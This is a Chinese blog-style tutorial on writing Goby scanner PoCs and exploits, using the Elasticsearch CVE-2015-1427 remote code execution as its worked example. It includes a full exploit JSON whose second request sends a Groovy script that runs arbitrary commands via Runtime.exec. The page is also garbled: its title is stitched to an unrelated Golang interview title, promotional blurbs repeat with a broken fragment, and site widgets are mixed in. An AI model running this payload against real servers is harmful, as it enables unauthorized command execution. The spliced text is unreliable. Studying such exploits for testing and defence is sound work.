Go最新如何编写合格的 PoC 领取 Goby 红队专版_goby自定义poc(3),高级Golang面试答案

img
img

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加戳这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

https://shimo.im/sheets/hcoIpikMzpsVKgaC/aojnO/

0x002 第一个 Goby 的 PoC

2.1 简单的 PoC 制作

实际上主要用到的功能在这里:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
上图就能看到自定义PoC的界面样子了,具体填写的信息和填写标准参考上述的《Goby漏洞编写指南》,里边有命名规则等详细解释和参考,然后就是Requests的Response处理,Goby提供了“测试”功能可直接通过图形化界面自定义自己的Requests。

在这里插入图片描述
这里以CVE-2015-1427为例,再完整的RCE中一共需要发送两次Requests。

在这里插入图片描述
在这里插入图片描述
然后Goby的PoC编辑界面提供了可选的单个或多个Requests,也提供了AND和OR可选的发包逻辑,方便发送多个Requests的自定义

在这里插入图片描述
之后的“响应测试”可对Response进行判断可选有返回状态码,Header和Body,大家按照自己需求点一点即可。

在这里插入图片描述
CVE-2015-1427需要两个Requests,再来一个即可,这里需要一个RCE返回结果的判断,对于轮子达人来说点一点就好制作很方便。

在这里插入图片描述
到这里两次Requests好了,最终的RCE判断也好了剩下就是测试PoC可用性了,上图所示右上角提供了“单ip扫描”直接测试。

在这里插入图片描述
在资产扫描完成的界面,输入query点击放大镜可以进行资产匹配,用来确定自己写的query可以正确匹配。

在这里插入图片描述

但是仅有一个存在漏洞和不存在漏洞的结果提示,这个查询界面并没有显示Response,所有如果怀疑自己的PoC有问题还需要自己抓包去看,而且多次Requests时仅显示第一个Requests(所以建议该功能有待完善),我再测试PoC时无奈一直在Wireshark抓包看的,比较麻烦。

再去扫描中测试一番,这里每次对PoC进行修改之后都需要重启Goby(点左下角的重启也行)。

在这里插入图片描述

2.2 不太简单的PoC中的Exp

你以为PoC做好了?没有,一半了,如开头图中所示需要三个带Exp的漏洞,所有自己的PoC必须要Exp功能,然后Exp功能还没有图形化点一点的界面,而《Goby漏洞编写指南》中对Exp的制作也只有个例子,没看到详细解释(可能我没看全),但是有一个TP的demo,通过这个demo我们也能照猫画虎做Exp了。
在这里插入图片描述
制作Exp需要开启图形中的验证接口,你会好奇上图所示的“验证”为什么我没有,需要去手动编辑Exp模块了。

在这里插入图片描述

编辑器中可以看到你的PoC的json文件,默认的HasExp值为false,开启改true即可,ExpParams则是前端需要传递给 Exp 的参数,如要执行的命令。
以CVE-2015-1427为例需要自定义命令,一个输入参数,需要将ExpParams改为:

"ExpParams": [
    {
      "name": "cmd",
      "type": "input",
      "value": "whoami"
    }
  ]

不解释上述json了直接感受一下效果:

在这里插入图片描述

现在为止GUI中已经开启Exp了,但实际还没有“验证”功能,需要再回到“编辑器”中编写“验证功能”,找到json中的ExploitSteps默认值为null,继续以CVE-2015-1427为例需要两次Requests修改为:

"ExploitSteps": [
    "AND",
    {
      "Request": {
        "method": "POST",
        "uri": "/website/blog/",
        "follow\_redirect": true,
        "header": {
          "Accept-Encoding": "gzip, deflate",
          "Accept": "\*/\*",
          "Connection": "close",
          "Accept-Language": "en",
          "Content-Type": "application/x-www-form-urlencoded"
        },
        "data\_type": "text",
        "data": "{ \"name\": \"cve-2015-1427\" }"
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "201",
            "bz": ""
          }
        ]
      },
      "SetVariable": [
        "output|lastbody"
      ]
    },
    {
      "Request": {
        "method": "POST",
        "uri": "/\_search?pretty",
        "follow\_redirect": true,
        "header": {
          "Accept-Encoding": "gzip, deflate",
          "Accept": "\*/\*",
          "Connection": "close",
          "Accept-Language": "en",
          "Content-Type": "application/text"
        },
        "data\_type": "text",
        "data": "{\"size\":1, \"script\_fields\": {\"lupin\":{\"lang\":\"groovy\",\"script\": \"java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"{{{cmd}}}\\\").getText()\"}}}"
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "460f7ccb583e25e09c0fe100a2c9e90d",
            "bz": ""
          }
        ]
      },
      "SetVariable": [
        "output|lastbody|regex|(?s)\"lupin\" : \\[ \"(.\*)\" \\]"
      ]
    }
  ]

可以看到上述json中 Requests 和PoC中的ScanSteps的Requests 是一致的,就不难理解是同样的发包,只不过一个在ScanSteps一个是ExploitSteps,现在应该也就大概理解这个json的大致功能了,上边看着乱简化一下:

img
img

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加戳这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

,那么很难做到真正的技术提升。**

需要这份系统化的资料的朋友,可以添加戳这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 19
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Goby红队POC是一个专门为红队渗透测试设计的工具。红队渗透测试是指模拟攻击者的技术和策略来评估组织的网络安全防御能力,并识别潜在的漏洞和弱点。Goby红队POC通过发现、测试和利用网络系统和应用程序中的漏洞,帮助安全团队更好地保护组织的网络。 Goby红队POC的主要功能包括漏洞扫描、漏洞检测和漏洞利用。它可以扫描网络目标,查找可能存在的漏洞,并生成详细的报告。与传统的漏洞扫描工具不同,Goby红队POC还具备漏洞检测的能力,可以通过发送特定的网络数据包来检测目标系统的漏洞。同时,它还提供了漏洞利用的功能,可以自动化地利用漏洞攻击目标系统,以验证漏洞的存在性,并帮助安全团队修补这些漏洞。 Goby红队POC还具备一个直观的用户界面,使安全团队能够方便地管理和执行渗透测试任务。它提供了多种方式来配置和管理扫描任务,包括选择扫描目标、设置扫描选项、编写自定义POC等。同时,它还支持生成漏洞报告,以便安全团队更好地识别和修补漏洞。 总之,Goby红队POC是一款功能强大的红队渗透测试工具,能够帮助安全团队发现和利用网络系统和应用程序中的漏洞,提高组织的网络安全防御能力。它的直观用户界面和丰富的功能使得安全团队能够更加高效地管理和执行渗透测试任务,并根据测试结果采取相应的修补措施。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值